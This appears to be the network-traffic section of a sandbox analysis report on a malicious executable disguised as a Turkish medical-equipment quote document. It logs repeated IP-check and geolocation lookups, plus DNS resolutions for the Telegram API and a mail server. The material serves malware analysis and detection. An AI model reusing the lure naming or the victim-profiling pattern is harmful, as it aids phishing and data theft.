Dec 6, 2024 09:57:55.320837975 CET	1.1.1.1	192.168.2.7	0x29f7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:55.320837975 CET	1.1.1.1	192.168.2.7	0x29f7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:55.320837975 CET	1.1.1.1	192.168.2.7	0x29f7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:55.320837975 CET	1.1.1.1	192.168.2.7	0x29f7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:57.326587915 CET	1.1.1.1	192.168.2.7	0xfe09	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:57.326587915 CET	1.1.1.1	192.168.2.7	0xfe09	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:58:23.030009031 CET	1.1.1.1	192.168.2.7	0xc118	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:58:32.007359982 CET	1.1.1.1	192.168.2.7	0x524	No error (0)	mail.adendanismanlik.com.tr	adendanismanlik.com.tr		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 09:58:32.007359982 CET	1.1.1.1	192.168.2.7	0x524	No error (0)	adendanismanlik.com.tr		77.245.159.14	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:57:55.456281900 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 6, 2024 09:57:56.725158930 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:57:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ca0b2c9e7ced88f5de6c3ff4937a323b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 6, 2024 09:57:56.730031013 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 6, 2024 09:57:57.135261059 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:57:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 85e6e004c3e776db1727dd869053fe5e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 6, 2024 09:57:59.010875940 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 6, 2024 09:57:59.416158915 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:57:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 40f4b2951ce381d2b638842f03bd52a6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49714	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:58:01.203236103 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 6, 2024 09:58:02.471240044 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 562f1ca52bd764fd84895b906bcb0aea Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49721	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:58:04.267254114 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 6, 2024 09:58:05.534806967 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f47fa2a29ee75db7b8e298ad7e2f340b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49731	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:58:07.322391987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 6, 2024 09:58:08.591383934 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2541af45a3401331a10e65f8837aec30 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49740	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:58:10.377443075 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 6, 2024 09:58:11.644012928 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ca1248bd9a60278d165f08d5aac25c18 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49751	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:58:13.444483042 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 6, 2024 09:58:14.711546898 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0fdbcbce02bf25268c9b6c85d1317031 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49762	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:58:16.495982885 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 6, 2024 09:58:17.823139906 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d3be67da5b17078e11e829f279f151ba Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49771	193.122.6.168	80	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 09:58:19.710773945 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 6, 2024 09:58:21.176299095 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1c3d35ab1665d4d99dc767286c2cbf17 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:57:58 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-06 08:57:58 UTC	878	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:57:58 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352901 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BvbaQbv9lRAZIW%2FowYZs4tcL2RwE%2B%2F8BaVvUz2QjAyaBAQ3YIAJlyBxmD7a1FAswH2RiLOjFEE0kZNvULtqI2n710272sYk7nrJMEGiigfiR5pVFhUbI%2BFF4Eo6ibpHnOZu8VPDZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb124ea8a05590-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1573&rtt_var=604&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1791411&cwnd=142&unsent_bytes=0&cid=b8889bf5285671bf&ts=450&x=0"
2024-12-06 08:57:58 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:00 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-06 08:58:01 UTC	886	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:00 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352903 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ucZbaV1O%2BW8TtUVG1DZ%2B%2F4p3ha6XaQY%2FDnOk%2FE3g7V5Y%2BlNlIuY%2BqUYTHj0nIWXx1Mg5GPC2MpvqDRdrEqeQnCu10t%2FGct9crt5cGnzg1fv4PH6ZODjfkAyaDwWX83B9mVICD9Wr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb125bb8d74265-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1829&min_rtt=1827&rtt_var=689&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1583514&cwnd=195&unsent_bytes=0&cid=6210abd135f458f8&ts=452&x=0"
2024-12-06 08:58:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49715	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:03 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-06 08:58:04 UTC	882	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352906 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5d9W7DJDxf521YEqLGDNcZHvG4Q2OpzQ%2FTagw14Mo6gMvKzW3vMsUwO3L3FejeXEZStZb8N%2BwUq6n8RenCAwnQAUFioI542qdGYGhM%2BHZKPHFh%2BOA6hEyRmVOdJ%2BY2esvYWQh%2BrL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb126ecb2442a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1831&min_rtt=1820&rtt_var=705&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1528795&cwnd=160&unsent_bytes=0&cid=8fce38d5e5f12c4d&ts=459&x=0"
2024-12-06 08:58:04 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49727	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:06 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-06 08:58:07 UTC	876	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:07 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352910 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AGyuORN3OvjC4aEm8529IT6Olce891qlQOVQz3woe0tOKtw1Wy%2BW87K6sB03albr7loySQf6WBDiRP4cj7X624hsA%2BR8pixaJpCLfa1He0uAcZL3BHHqTIjpJjKzoRLIERN3Z%2BBt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb1281fc4643fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1822&rtt_var=694&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1564844&cwnd=213&unsent_bytes=0&cid=c1560b8fc7022a69&ts=454&x=0"
2024-12-06 08:58:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49734	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:09 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-06 08:58:10 UTC	884	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352913 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7gCJ%2Fn6552wTa%2BisaMsH%2BdGoHeCSSsijElh2C%2FJFXBRiyOFQxpJYbI9uXZ%2Fvsl1pnKiNH2J68JpsFn8i1MvM%2B78MCqlVtM7R3bnpjT5eYoxRSm%2F1FLbSDf4RYLawoMOzZybqkpHc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb12950b9ade98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1464&rtt_var=562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1923583&cwnd=208&unsent_bytes=0&cid=45ced1e2a880d8ea&ts=450&x=0"
